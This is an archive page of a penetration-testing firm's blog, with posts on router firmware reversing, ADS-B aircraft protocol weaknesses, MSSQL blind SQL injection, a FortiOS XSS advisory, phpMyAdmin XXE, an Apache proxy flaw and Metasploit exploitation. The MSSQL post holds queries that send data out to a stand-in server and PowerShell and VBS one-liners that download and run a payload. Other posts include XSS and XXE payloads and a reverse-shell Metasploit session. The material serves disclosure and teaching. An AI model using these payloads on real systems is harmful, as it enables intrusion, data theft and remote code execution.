SECFORCE          
SECFORCE - penetration testing SECFORCE - penetration testing SECFORCE - penetration testing SECFORCE - penetration testing SECFORCE - penetration testing SECFORCE - penetration testing SECFORCE - penetration testing SECFORCE - penetration testing
   
HOME SECFORCE - penetration testing COMPANY SECFORCE - penetration testing SERVICES SECFORCE - penetration testing RESEARCH SECFORCE - penetration testing BLOG SECFORCE - penetration testing NEWS & EVENTS SECFORCE - penetration testing INITIATIVES SECFORCE - penetration testing CONTACT
 
SECFORCE - penetration testing SECFORCE - penetration testing SECFORCE - penetration testing SECFORCE - penetration testing SECFORCE - penetration testing SECFORCE - penetration testing SECFORCE - penetration testing SECFORCE - penetration testing
    SECFORCE - penetration testing

Blog ■

 
SECFORCE - penetration testing SECFORCE - penetration testing SECFORCE - penetration testing SECFORCE - penetration testing SECFORCE - penetration testing SECFORCE - penetration testing SECFORCE - penetration testing SECFORCE - penetration testing
    Home : Blog  
SECFORCE - penetration testing SECFORCE - penetration testing
   
Archive for the ‘Vulnerabilities’ Category
 

Reverse Engineer Router Firmware – Part 1

Thursday, April 3rd, 2014

This series will follow the process of reverse engineering router firmware with the purpose of discovering any vulnerabilities that could be used either remotely or locally to compromise the router. In this section I will mainly be covering how to extract/download the firmware alongside a very basic way to get a root shell on the firmware in this tutorial.

Firstly the firmware being analysed in this tutorial can be found here (for v8 of the TP-Link WR841N). In some cases, the firmware for your device of choice can be found by using your preferred search engine due to a lot of manufacturers making the firmware freely available for download, however due to the growing interest in the exploitation of embedded devices, it is becoming common practice to only have the firmware accessible by accessing the device physically i.e.. using a serial port or by manually dumping the flash memory.

General Linux RE Tools

  •  file – To determine if it is a valid file/file type.
  •  hexdump – a hex dump naturally.
  •  strings – similar to hexdump however presented in a readable format if possible.
  •  dd – To scrape data out of the bin file
  •  lzma – to decompress any LZMA files

3rd Party Tools

  • binwalk – to analyse the file for firmware headers and file systems.
  • Firmware Mod Kit – Bundle of scripts to automate the extraction process.
  • squashfs-tools – Can apt-get squashfs-tools for this. Bundle of tools to enable you to play with the squashfs in this tutorial

Initial Analysis

Generally the normal start to reverse engineering is to dump as much information on the file you can get using the standard Linux tools listed above. This should give enough information to determine where to go next for example in the hexdump you may find sqsh meaning that there is a squashfs on the file or perhaps spot U-Boot which is a well documented boot loader used frequently within firmware packages.

File Tool

The file tool essentially just tells us whether or not the file is a known file type and in some cases what kind of file it is e.g. data file.

You should see something similar to this:

Filetool

Which will confirm whether it is a readable/known file type or whether further investigation is needed. In this case we can see that it is (naturally) a data file.

hexdump

The hexdump tool is invaluable as it allows you to inspect the dump for any key phrases or words that can tell you what kind of system you are reversing as previously mentioned. The hexdump for this file should look like this:

Hexdump

The command above will pipe the results of the hexdump into a file (hexTP.txt) for further analysis. The -C sets hexdump to format the dump in Canonical hex+ASCII display making it easier to read. In this case we don’t gain all that much from the hexdump other than the manufacturer being TP-Link (which we already know) so the next step would be to try running strings on the .bin file to see if it gives us a more informative result.

strings

Strings is probably the most used and one of the best tools to start with as it displays all the printable data within the file. This can allow you to analyse the header of the file etc. Like we did with the hexdump, it is worthwhile piping the result of strings into a file for your own convenience to save having to re run strings every time you want to check something.

We find a few interesting phrases within the strings results:

stringsuboot

 

This was done just by opening the strings result file we found and searching for common boot loader names of file system names e.g. U-boot. This could also be done by grepping the file should you prefer. Now we know that the embedded device is using the U-boot boot loader and the version meaning that we can look up the documentation for it to gain a better understanding of the how the embedded device is designed.

Binwalk

Binwalk is a valuable tool to have considering it will scrape the bin file for any firmware headers or file systems that it may contain and then show you the offset of each of these sections should you wish to dd them. The binwalk output should produce:

Binwalkresults

Which gives us a wealth of information relating to the firmwares structure, from the boot loader it is using to the file system type. From these results we know that the firmware runs a Linux system on MIPS architecture, with a Squashfs file system that has been compressed using LZMA. It also confirms that the boot loader is indeed U-Boot as found in the strings results.

Extracting the Filesystem

Now comes the interesting section where we get to extract the contents of the file system held in the firmware image. With it being a Linux system it is safe to assume that the file system should contain the standard linux default folders where we could find some sensitive information e.g. the passwd or shadow file.

One of the ways that a lot of people will extract the FS is by using dd. However for the sake of time and ease, there are two main ways I would recommend for extraction.

The first is to use the -e parameter of binwalk which will automatically extract everything from the firmware image for you.

user@host$ binwalk -e <input file>

The second, and more efficient way of extracting is to use the extract-firmware.sh script that can be found in the Firmware Modification Kit. The reason for this is due to the fact that should you wish to modify the firmware and repack it, you can use the other script build-firmware.sh to do so. It saves a lot of time than manually extracting and handles all the offsets etc for you. The extract script will create a new set of folders within the fmk directory whereby you can find all the contents of the file system, the path should be /fmk/rootfs.

 

Coming Soon…

In the next part I will show you how to emulate the router architecture so you can try and run files that you extracted from the file system as well as how to get a root shell on the router!

 

How easy would it be for a cyber criminal to gain control of a plane in mid-air?

Friday, March 21st, 2014

The disappearance of flight Malaysia Airlines MH370 has raised questions about why it is taking authorities so long to find out the aircraft’s location – with lots of people asking ‘why don’t they just use a GPS tracker to track it down?’ Currently, Air Traffic Control (ATC) uses a combination of radar detectors from the ground, and Aircraft Communications Addressing and Reporting System (ACARS), a system on board the aircraft similar to text messaging, which sends very limited data about a plane’s location every 15-30 minutes. A new GPS-based system which will provide much more detailed information is being rolled out in many countries, with the majority of commercial flights expected to be updated by 2020.

We wanted to break down exactly how secure the navigation systems are on board commercial flights and do they pose a threat to security? Could someone hack into them and cause a catastrophic breach of security, and exactly how easy is it for a criminal to target a commercial plane in such an attack?

First, let’s take a closer look at how a plane’s existing communication system works. Pilots in control of a plane need to be able to easily communicate both with the nearest Air Traffic Control (ATC), and with other nearby aircraft. ATC collects information via two radars – the first radar sends a signal over a voice channel, which bounces off the body of the plane and comes back to ATC. This does not require the plane to respond back – the radar just detects that there is an object in the sky and the plane’s bearing and distance can be calculated by ATC. They also use an SSR (Secondary Surveillance Radar) which not only locates the plane with a radar, but also queries additional information which is received by the plane’s transponder, an electronic device that produces an automatic response when it receives a radio-frequency interrogation. The plane automatically replies with a transponder code identifying the airline, flight, and altitude.

The new, more advanced GPS-based technology called Automatic Dependent Surveillance-Broadcast (ADS-B) allows automatic communication between a plane, other planes in the nearby vicinity and ATC. It is planned to completely replace traditional radar-based surveillance by the end of 2020, not only in the USA but all over the world. The technology consists of two different services: ADS-B Out and ADS-B In.

  • ADS-B Out broadcasts accurate information every second about the aircraft ID, altitude, velocity and position to ATC and, in general to any other passing aircraft.
  • ADS-B In allows the aircraft to automatically receive data from outside – for example from ATC and other nearby planes. The TCAS (Traffic Collision Avoidance System), which stops planes from colliding, works in co-operation with ADS-B In.

Could the manipulation of ADS-B allow an attacker to change the normal behavior of a plane during the flight? Let’s check out the security of these protocols and why they could cause a problem in-flight:

Clear-text communication means anyone can eavesdrop

Clear text is way of sending data with no encryption. Therefore, eavesdropping of data is an issue. Information broadcast by ADS-B is transmitted in clear-text, which means that anyone could easily use it to locate the plane, identify the aircraft ID and its position and altitude.

Lack of authentication means anyone can impersonate ATC or a passing plane

In most IT systems, when two parties exchange information, at least one will need to authenticate itself i.e. prove they are who they say they are. Most commonly, a username and password is used, but there are other ways, such as key authentication. In some cases such as this one, two-way authentication should be required to ensure that an attacker cannot impersonate any of the parties.

ADS-B does not implement any kind of authentication, and therefore an attacker impersonating another aircraft or ATC would be able to send data to the cockpit and there would be no security mechanism to identify whether the source is legitimate.

Signal jamming could cause a pilot to miss important information

Another potential threat is signal jamming. As the protocol doesn’t require any authentication, an attacker could potentially inject a large amount of data, which could cause disruption or loss of availability of the authentic information from ATC or a passing plane. It could cause the pilot to miss important information.

Lack of integrity validation means an attacker could re-send old messages from ATC

In strong protocols, there are mechanisms in place to detect a loss of integrity or data being manipulated in transit.

The ADS-B In service does not verify the integrity of the data it receives into the plane, which, even if it originated from an authentic source could have been changed or manipulated by an attacker. Similarly, authentic data from ATC or a passing plane could be resent again in future by an attacker. This means that an attacker could fairly easily impersonate ATC by reusing old messages. Moreover, ADS-B does not require any further verification between receiving the data to the plane’s system and sending it to the cockpit – a change upon receipt of the data would not be detected.

GPS jamming and spoofing could make the pilot think the plane is located elsewhere

ADS-B uses a GPS signal for navigation. GPS jamming is not a new technique and it may be possible for an attacker to block the ability of the aircraft to use GPS. Additionally, there has been considerable research on GPS spoofing in which it would be possible to manipulate GPS signals to send fake location coordinates to the GPS receiver. As in the previous attacks, the pilot would be unable to identify whether the GPS reader is reporting accurate information.

Lack of widely-used multilateration makes it easier to perform a successful cyber attack

Multilateration is a mechanism in planes that broadcasts a signal which is picked up by multiple triangulators on the ground. Based on the time difference between the receptions, it is possible to triangulate and identify the exact location of an aircraft. An attacker would find it extremely difficult to manipulate the output from this system as it uses the law of physics. In the case of a cyber attack it would send ATC reliable information about the plane’s true whereabouts. It is generally not used by default.

The attacks explained are not challenging for an attacker to implement. Either someone on board (or on the ground and in range of the aircraft) could potentially trick the pilot into reacting to fake signals such as inexistent passing traffic, fake flight divergence, bogus weather report etc – or stop the pilot from receiving legitimate communication from other planes or ATC without them realizing. The only equipment an attacker would need would be a laptop (or embedded device) and an antenna – and it would be possible for an attacker to do this from the ground, though the range of the attack can vary depending on what kind of hardware the attacker uses.

All the tools a malicious attacker would need can be bought cheaply. It is even possible to convert a TV tuner into an ADS-B receiver. As well as being cheap, the antennas are small, making it even easier to hide them and use discreetly.

In a nutshell, the current communication protocols in ADS-B when looked at in isolation are fundamentally insecure, and manipulation of the information received by an aircraft is relatively easy to do. However, the information above analyses the risks of this protocol used in isolation. Airlines may have additional security mechanisms in place that are designed to minimize the success of potential attacks .e.g processes, procedures, staff training.

As with any system, the data received by the p ADS-B becomes more widespread, manufactures will undoubtedly show due diligence by investing in stronger security mechanisms and ensuring that the risks of cyber-attacks are minimized. Until then, it is just possible that a cyber criminal could at the very least cause confusion for pilots and, in the worst case, divert a flight in mid-air or cause a collision.

References:

http://en.wikipedia.org/wiki/Air_traffic_control

http://en.wikipedia.org/wiki/Secondary_surveillance_radar

http://en.wikipedia.org/wiki/Next_Generation_Air_Transportation_System

http://en.wikipedia.org/wiki/Automatic_dependent_surveillance-broadcast

http://en.wikipedia.org/wiki/Multilateration

http://en.wikipedia.org/wiki/Software-defined_radio

http://www.trig-avionics.com/adsb.html

http://www.smh.com.au/world/missing-malaysian-airlines-flight-mh370-aircraft-gps-system-being-rolled-out-in-australia-20140320-3550x.html

Stacked based MSSQL blind injection bypass methodology

Monday, January 7th, 2013

If you have a blind SQL injection you are already in a good position. Exploitation however, depending on the type of the blind SQL injection, can take time.

This post is part of a methodology used for obtaining output from a stacked based blind SQL injection.

Requirements:

  1. Stacked based Blind SQL injection
  2. Local MSSQL database server (MSSQL server express was used in this example)
  3. Improper remote firewall configuration (allows outbound connections)
  4. #include <brain.h>

If all of the requirements above are met then the following technique can be used:

  • On the local server create a new database with a table to store the results:
    • CREATE DATABASE output_db;
    • CREATE TABLE output_db..output ( result VARCHAR(MAX) );
    • Lastly, open the ports and change the config for remotely connecting to the database.
  • On the remote server test for OPENROWSET  and external connection:
    • ; INSERT INTO OPENROWSET(‘SQLOLEDB’,'server=LOCAL_SERVER_IP;
      uid=LOCAL_SERVER_USERNAME;pwd=LOCAL_SERVER_USER_PASS‘,
      output_db.dbo.output) SELECT @@version–

This instructs the remote database server to connect to the local database and write the result of the SELECT @@version command. If “SELECT * from output_db..output” returns any results then you are in luck otherwise continue using sqlmap…

Now we can change the “SELECT @@version” part to run any command we want and the results are going to get saved our database.

NOTE:  OPENROWSET needs the destination table to have the same columns as the ones returned by the remote command ans *similar* types to avoid any errors

Copying Databases:

  • After you create a new database make a copy of the local sysdatabases and empty it:
    • SELECT TOP 0 * INTO master_copy..sysdatabases from master..sysdatabases;
    • DELETE master_copy..sysdatabases;
  • Copy the Remote sysobjects over to master_copy..sysdatabases;
    • ; INSERT INTO OPENROWSET(‘SQLOLEDB’,'server=LOCAL_SERVER_IP;
      uid=LOCAL_SERVER_USERNAME;pwd=LOCAL_SERVER_USER_PASS‘,
      master_copy..sysdatabases;) SELECT * FROM master..sysdatabases;–
  • For every returned name create a new database and list tables
    • CREATE DATABASE LOCAL_DB_NAME;
    • CREATE TABLE LOCAL_DB_NAME..tables( names VARCHAR(MAX) );
    • ; INSERT INTO OPENROWSET(‘SQLOLEDB’,'server=LOCAL_SERVER_IP;
      uid=LOCAL_SERVER_USERNAME;pwd=LOCAL_SERVER_USER_PASS‘,
      LOCAL_DB_NAME..tables;) SELECT name FROM REMOTE_DB_NAME..sysobjects WHERE xtype = ‘U’;–
  • For every returned table create a new table for to hold the column data
    • CREATE TABLE LOCAL_DB_NAME..columns ( name VARCHAR(MAX), type VARCHAR(MAX) );
    • ; INSERT INTO OPENROWSET(‘SQLOLEDB’,'server=localhost;uid=sa;pwd=sa’,
      LOCAL_DB_NAME.dbo.columns) SELECT REMOTE_DB_NAME..syscolumns.name,
      TYPE_NAME(REMOTE_DB_NAME..syscolumns.xtype) FROM
      REMOTE_DB_NAME..syscolumns, REMOTE_DB_NAME..sysobjects WHERE
      REMOTE_DB_NAME..syscolumns.id=REMOTE_DB_NAME..sysobjects.id AND
      REMOTE_DB_NAME..sysobjects.name=’sysobj’;
  • Now create a new table with the same columns and data types and copy using the same command as above
    • ; INSERT INTO OPENROWSET(‘SQLOLEDB’,'server=LOCAL_SERVER_IP;
      uid=LOCAL_SERVER_USERNAME;pwd=LOCAL_SERVER_USER_PASS‘,
      LOCAL_DB_NAME..TABLE ;)  SELECT * FROM REMOTE_DB_NAME..TABLE;–
    • Or create a new table with only the columns you need and copy over only those

Advancing:

  • Bruteforcing the sa password for command execution is possible with double OPENROWSET. The first OPENROWSET is the connection back to our database, the second OPENROWSET instructs the remote DB to connect to itself as sa run “SELECT @@version” and return the result to us.
    • ; INSERT INTO OPENROWSET(‘SQLOLEDB’,'server=LOCAL_SERVER_IP;
      uid=LOCAL_SERVER_USERNAME;pwd=LOCAL_SERVER_USER_PASS‘,
      output_db.dbo.output)
      SELECT * FROM OPENROWSET(‘SQLNCLI’,'server=localhost;uid=sa;pwd=PASSWORD‘,’SELECT @@version’)
  • Command execution with output of the results (if the sa password is known)
  • ; INSERT INTO OPENROWSET(‘SQLOLEDB’,'server=LOCAL_SERVER_IP;
    uid=LOCAL_SERVER_USERNAME;pwd=LOCAL_SERVER_USER_PASS‘,
    output_db.dbo.output)
    SELECT * FROM OPENROWSET(‘SQLNCLI’,'server=localhost;uid=sa;pwd=PASSWORD‘,
    ‘set fmtonly off; exec master..xp_cmdshell ”dir” ; ‘)–
Advancing more:
NOTE: because of the “fmtonly off” instruction the issued command is going to be run twice. This makes echo-ing to script files a bit harder.
  • A nice technique for running meterpreter is through powershell. SET framework will take care of everything … it’s only a matter of copying the command payload.
  • … or do it yourself. The following commands are for downloading a file from a web server, and running it.
    • (Powershell) [Convert]::ToBase64String([System.Text.Encoding]::
      Unicode.GetBytes(“(new-object System.Net.WebClient).
      DownloadFile(‘http://REMOTE_SERVER/payload.exe‘,
      C:\DESTINATION_FOLDER\payload.exe‘)”))
  • This will generate an encoded command string that you can run on the remote server:
    • powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -WindowStyle Hidden -encodedCommand “ENCODED_COMMAND_STRING
  • If this doesn’t work, you can echo and run the one-liner vbs script below:
    • echo Set objXMLHTTP=CreateObject(“MSXML2.XMLHTTP”):objXMLHTTP.open
      “GET”, “http://REMOTE_SERVER/payload.exe“, false:objXMLHTTP.send():
      If objXMLHTTP.Status=200 Then Set objADOStream=CreateObject(“ADODB.Stream”):
      objADOStream.Open:objADOStream.Type=1:
      objADOStream.Write objXMLHTTP.ResponseBody:objADOStream.Position=0:
      Set objFSO=Createobject(“Scripting.FileSystemObject”):
      Set objFSO = Nothing:
      objADOStream.SaveToFile “C:\DESTINATION_FOLDER\payload.exe”:
      objADOStream.Close:
      Set objADOStream=Nothing:
      Set objXMLHTTP=Nothing > C:\DESTINATION_FOLDER\script.vbs
  • Run the script:
    • cscript  C:\DESTINATION_FOLDER\script.vbs
  • Run the payload:
    • C:\DESTINATION_FOLDER\payload.exe

$ chmod -x attack //Protecting the web server (for the non pen-testers)

What went wrong – Recommendations:

First off all, the SQL injection, (*obviously*) sanitizing the input would be the first step. However this is only part of the problem, other factors contributed into making this attack vector possible. At least this would not lead to complete compromise of the server if a layered approach was taken and the perimeter was adequately protected.

For example if the outbound connections were firewalled (eg. deny all outbound and only allow incoming connections to the webserver), it would not be possible to make a remote connection to our own server in order to get the SQL results.

Secondly, hash AND SALT all database passwords. Many reasons for that just accept the fact that this is how it must/should be done.

Lastly, make the sa password hard to guess and do not reuse passwords, specifically administrative passwords.

If all of the above were implemented, then the attack would take significantly more time and the attacker would get at most an administrative password (for the web application) which hopefully would take years to crack. Instead of the attack taking a couple of hours and leading to complete compromisation of the host.

Last note: all of the above scenarios are based on vague assumptions about the configuration or typical configurations.

FortiOS Remote Access Web Portal – XSS Vulnerability

Monday, November 5th, 2012

Overview:

Fortinet delivers a comprehensive portfolio of security gateways and complementary products. FortiGate platforms integrate the FortiOSâ„¢ operating system with FortiASICâ„¢ processors and the latest-generation CPUs to provide comprehensive, high-performance security. By using a specially crafted URL in an HTTP request, it is possible to achieve an XSS attack, potentially giving access to confidential information, such as session cookies.

Description:

Fortinet FortiOS contains a flaw that allows a non-persistent cross-site scripting (XSS) attack. The input passed to redir parameter at http://x.x.x.x/remote/logincheck is not properly sanitized. It is possible to inject the redir parameter in a POST request as a data parameter or trough a GET request as a URL parameter. This may allow an attacker to execute arbitrary script code in a user’s browser.

As this range of products are used for SSL VPN authentication, this issue can be exploited to mount an attack and potentially gain unauthorised access to the target internal network.

Affected Products:

Found and tested on: SSLVPN-FGT200B  Remote Access Web Portal, but its known not to be the only one affected.

Proof of Concept:

https://x.x.x.x/remote/logincheck?magic=&username=&redir=“};alert(‘XSS’);{“&grpid=&code2=&credential2=&code=&just_logged_in=1&reqid=0&cre

Figure 1: Example XSS on a SSLVPN-FGT200B

Source Code Result:

<script language = “javascript”> function redir() { top.location=”“};alert(‘XSS’);{““; } </script>

Solution:

The vendor has released an update of FortiOS. Version FortiOS 4.3.7 fixes this issue.

History:

Discovered: 14/03/2012 (Marco Batista)
Vendor Notified: 18/04/2012
Disclosed: 02/11/2012

CVE-2011-4107 PoC – phpMyAdmin Local File Inclusion via XXE injection

Thursday, January 12th, 2012

An interesting local file inclusion vulnerability has been recently published. An XXE (XML eXternal Entity) injection attack, which affects phpMyAdmin 3.4.x previous to 3.4.7.1 and 3.3.x previous to 3.3.10.5. – CVE-2011-4107

The issue is located in the libraries\import\xml.php file, where the simplexml_load_string() function is called without validating the existence of a reference to an external entity on the file:

$xml = simplexml_load_string($buffer, “SimpleXMLElement”, LIBXML_COMPACT);

Patched versions make use of the libxml_disable_entity_loader() PHP function before loading the XML document, in order to prevent the injection. libxml_disable_entity_loader() function disables the ability to load external entities.

phpMyAdmin offers the functionality of importing a database from a user-specified XML file. In vulnerable versions importing a specially-crafted XML file which contains an external XML entity permits an authenticated attacker to retrieve a local file from the server or network (limited by the privileges of the user running the web server).

It is well understood that the LOAD_FILE MySQL function could be used to gain read access to files in the database file system, however there are configurations where phpMyAdmin is installed on a different host than the database and therefore exploitation of this issue could become handy in penetration testing engagements.

SECFORCE has developed a metasploit module to assist the exploitation of this vulnerability. It is available for download from our security tools section on our website.

This module automates the process of local file inclusion in the following way:

  1. Logging in into phpMyAdmin using provided credentials.
  2. Crafting an XML using XXE with the given file to read.
  3. Uploading the XML
  4. Retrieving the file from the server or network (restricted by the privileges of the user running the web server ).

The module has the options shown in the following screenshot:


An example of a successful run of the module is presented in the screenshot below:

Example of a successful file read
Example of successfully reading a file


Defining XML external entity (XXE) injection attack as part of XML injection vulnerability:

XML injection

XML Injection is when is is possible to change the values of an XML document and the XML parser fails to make an appropriate data validation this way making the injection possible.

XML external entity injection attack (XXE)

“External Entity: The set of valid entities can be extended by defining new entities. If the definition of an entity is a URI, the entity is called an external entity. Unless configured to do otherwise, external entities force the XML parser to access the resource specified by the URI, e.g., a file on the local machine or on a remote systems. This behavior exposes the application to XML eXternal Entity (XXE) attacks, which can be used to perform denial of service of the local system, gain unauthorized access to files on the local machine, scan remote machines, and perform denial of service of remote systems.” – (OWASP-DV-008)

XXE Example:

 <?xml version="1.0" encoding="ISO-8859-1"?>
 <!DOCTYPE foo [
   <!ELEMENT foo ANY >
   <!ENTITY xxe SYSTEM "file:///c:/boot.ini" >]><foo>&xxe;</foo>

phpMyAdmin has released patched versions available for download from here.

CVE-2011-3368 PoC – Apache Proxy Scanner

Monday, October 10th, 2011

A recent Apache vulnerability has been made public whereby an attacker could gain unauthorised access to content in the DMZ network:

The mod_proxy module in the Apache HTTP Server 1.3.x through 1.3.42, 2.0.x through 2.0.64, and 2.2.x through 2.2.21 does not properly interact with use of (1) RewriteRule and (2) ProxyPassMatch pattern matches for configuration of a reverse proxy, which allows remote attackers to send requests to intranet servers via a malformed URI containing an initial @ (at sign) character.

SECFORCE has developed a proof of concept for this vulnerability, available for download from our security tools section on our website. The script exploits the vulnerability and allows the user to retrieve arbitrary known files from the DMZ. The tool can also be used to perform a port scan of the web server using the Apache proxy functionality, and therefore bypassing any firewall.

The following output shows the usage of the tool:

python apache_proxy_scanner.py
CVE-2011-3368 proof of concept by Rodrigo Marcos

http://www.secforce.co.uk

usage():
python apache_scan.py [options]
 [options]
    -r: Remote Apache host
    -p: Remote Apache port (default is 80)
    -u: URL on the remote web server (default is /)
    -d: Host in the DMZ (default is 127.0.0.1)
    -e: Port in the DMZ (enables 'single port scan')
    -g: GET request to the host in the DMZ (default is /)
    -h: Help page
examples:
 - Port scan of the remote host
    python apache_scan.py -r www.example.com -u /img/test.gif
 - Port scan of a host in the DMZ
    python apache_scan.py -r www.example.com -u /img/test.gif
	-d internalhost.local
- Retrieve a resource from a host in the DMZ
    python apache_scan.py -r www.example.com -u /img/test.gif
	-d internalhost.local -e 80 -g /accounts/index.html

The tool can be used to perform a portscan of the target host in the following way:

python apache_proxy_scanner.py -r <target> -u <uri>

The following screenshot shows the result of the command above:

Apache proxy port scan results

Apache proxy port scan results

The script can be used to perform a bounce scan of a host in the DMZ or in the Internet:

python apache_proxy_scanner.py -r 192.168.85.161
	-u /rewrite/test -d internalhost
python apache_proxy_scanner.py -r 192.168.85.161
	-u /rewrite/test -d www.example.com

Apache_proxy_scanner will report open/filtered/closed ports in internal and external hosts.

Exploiting SQL injection vulnerabilities with Metasploit

Thursday, January 27th, 2011

In this post we are going to show how to exploit a SQL injection vulnerability on a web application using Microsoft SQL server backend where xp_cmdshell is available to the attacker.

Given a penetration test to a web application it is identified that it is vulnerable to SQL injection attacks and the penetration tester can execute administrative stored procedures:

http://192.168.1.66/showproduct.asp?id=1;exec master..xp_cmdshell ‘ping 192.168.1.64′;–

If the request shown above is successful then arbitrary commands could be executed in the host. At this point, there are a number of options that would allow the tester to fully compromise the server. There are public tools which could aid the attacker to automate the take over process. This post will cover the use of a Metasploit module.

The mssql_payload_sqli module will execute any Windows payload on the target host. In this example we will execute meterpreter which is one of the payloads that offers great flexibility to the penetration tester.

It is necessary to specify the exact point where the SQL injection vulnerability is. We do that by entering the GET_PATH variable with an [SQLi] token. The token will be the place where the payload will be executed. The rest of the exploitation process is the same as any other vulnerability, this is the exploitation based on the URL shown above:

msf > use windows/mssql/mssql_payload_sqli

msf exploit(mssql_payload_sqli) >
 set GET_PATH http://192.168.1.66/
 showproduct.asp?id=1;[SQLi];--
GET_PATH => http://192.168.1.66/
 showproduct.asp?id=1;[SQLi];--
msf exploit(mssql_payload_sqli) > set RHOST 192.168.1.66

RHOST => 192.168.1.66

msf exploit(mssql_payload_sqli) >
 set PAYLOAD windows/patchupmeterpreter/reverse_tcp

PAYLOAD => windows/patchupmeterpreter/reverse_tcp

msf exploit(mssql_payload_sqli) > set LHOST 192.168.1.64

LHOST => 192.168.1.64

msf exploit(mssql_payload_sqli) > set LPORT 80

LPORT => 80

msf exploit(mssql_payload_sqli) > exploit

After the exploitation the attacker will get a meterpreter shell.

SQL injection exploitation with Metasploit

SQL injection exploitation with Metasploit

If you want to use this code you can download it from Secforce security tools repository.

MS vulnerabilities and worms

Friday, October 24th, 2008

Time between vulnerability disclosure and worm spread has been drastically reduced.

The MS08-067 vulnerability has been published some hours ago. Microsoft rated this vulnerability as critical, as a remote unauthenticated attacker could exploit it to execute arbitrary code in the vulnerable host.

This vulnerability is caused due to a bug in the Windows Server service handling a crafted RPC request.

The vulnerability affects almost all the Windows operating systems family, with some differences. On Windows 2000, XP and 2003 an attacker could exploit this vulnerability without the need of a username and password. However, the exploitation in Windows Vista and Windows Server 2008 requires a valid username and password.

The really interesting thing about all of this is that Microsoft published the following in its Security Bulleting:

It is possible that this vulnerability could be used in the crafting of a wormable exploit.

Just after a few hours reliable exploits are already available and what is more, a worm has been already found in the wild exploting this vulnerability.

The name of the worm is Gimmiv.A and uses this vulnerability to spread over the network. On infection, the worm injects two DLLs into the services.exe address space. After that, the worm retrieves information from the compromised host (including passwords from the Windows protected storage) and posts it in encrypted form to a remote host.

The worm posts the details to a number of hosts, including http://perlbody.t35.com/

At the time of writing the host is up and running and contains details of 3779 hosts stored int the http://perlbody.t35.com/icon.txt file.

The worm also downloads the following image stored on the http://perlbody.t35.com/ server:

Microsoft and SECFORCE recommends that customers apply the update immediately as other versions of worms exploiting this vulnerability are likely to be released.

SCADA Security

Friday, October 10th, 2008

It is interesting to see how security research is a kind of a living being. Almost by nature security rearchers focus their efforts in whatever is more familiar to them, resulting in a vast amount of time dedicated to fairly accessible products such as Microsoft Windows operating systems, MS Office, Linux in its different flavours, etc.

This leaves a gap in the security industry where highly deployed systems (sometimes critical for government infrastructure) remain untested and its security is several years behind the avarage IT system.

Two clear examples of this are MPLS and SCADA systems. Given the fact that these systems are rarely found in penetration testing engagements and independent researchers struggle to find a suitable environment for testing, it doesn’t come to a surprise their security doesn’t match nowadays avarage.

Last week there was two vulnerabilities affecting SCADA systems:

In a world where stack buffer overflows are among species threatened with extinction it is rather suprising reading this kind of vulnerabilities. There is no doubt that due to a number of circunstances security research has been appart from these technologies.

WordPress SQL column truncation vulnerability

Wednesday, October 8th, 2008

This vulnerability has been published some days ago where an attacker could create a duplicated “admin” user and recover the legitimate “admin” password. SQL column truncation is an attacking technique whereby an attacker take advance of some kind of mismatch between an application and the database structure used by it.

Let’s have a look to the vulnerable code.

In schema.php in the wordpress application it is defined the creation of the database table containing users:

CREATE TABLE $wpdb->users (
ID bigint(20) unsigned NOT NULL auto_increment,
user_login varchar(60) NOT NULL default '',

As we can see, the user_login field has a length of 60 bytes. However, the application does not enforce this limitation and allows longer usernames.

An attacker could create a user called “admin[55 spaces]X”. The last “X” is character 61 and therefore will be ignored by the database.

Later in the code, we can see that the user_login field is trim()ed and all the spaces are removed, so it becomes “admin”:

if ( strstr($_POST['user_login'], '@') ) {
$user_data = get_user_by_email(trim($_POST['user_login']));
if ( empty($user_data) )
$errors->add('invalid_email', __('ERROR: There is no user registered with that email address.'));
} else {
$login = trim($_POST['user_login']);
$user_data = get_userdatabylogin($login);
}

In summary, this is a very creative vulnerability and an interesting vector of attack.

 
   
 
BLOG

Archives

April 2014
March 2014
February 2014
August 2013
June 2013
February 2013
January 2013
December 2012
November 2012
October 2012
January 2012
October 2011
September 2011
July 2011
June 2011
April 2011
February 2011
January 2011
March 2009
February 2009
January 2009
December 2008
November 2008
October 2008

Categories

Aircraft security (1)
Business Continuity (2)
CREST (1)
cyber security (2)
Embedded devices security (1)
exploit (8)
Fuzzing (1)
Penetration Testing (40)
Phishing (3)
Risk Management (5)
SECFORCE (17)
Security architecture (2)
Security Books (1)
Security Compliance (1)
Security research (8)
social engineering (1)
social media (1)
sql injection (3)
SQL Server (3)
Tools (13)
Uncategorized (2)
Vulnerabilities (10)
 
SECFORCE - penetration testing
  SECFORCE - penetration testing Aegon House, 13 Lanark Square
Canary Wharf - E14 9QD, London
SECFORCE - penetration testing Direct Line +44 (0) 845 056 8694
E-mail SECFORCE - penetration testing
  Follow us in Twitter Check us out in LinkedIn SECFORCE is CREST certified. Click on the logo for more information ISO9001 ISO27001
SECFORCE - penetration testing
    Copyright (c) 2014 SECFORCE Ltd · All Rights Reserved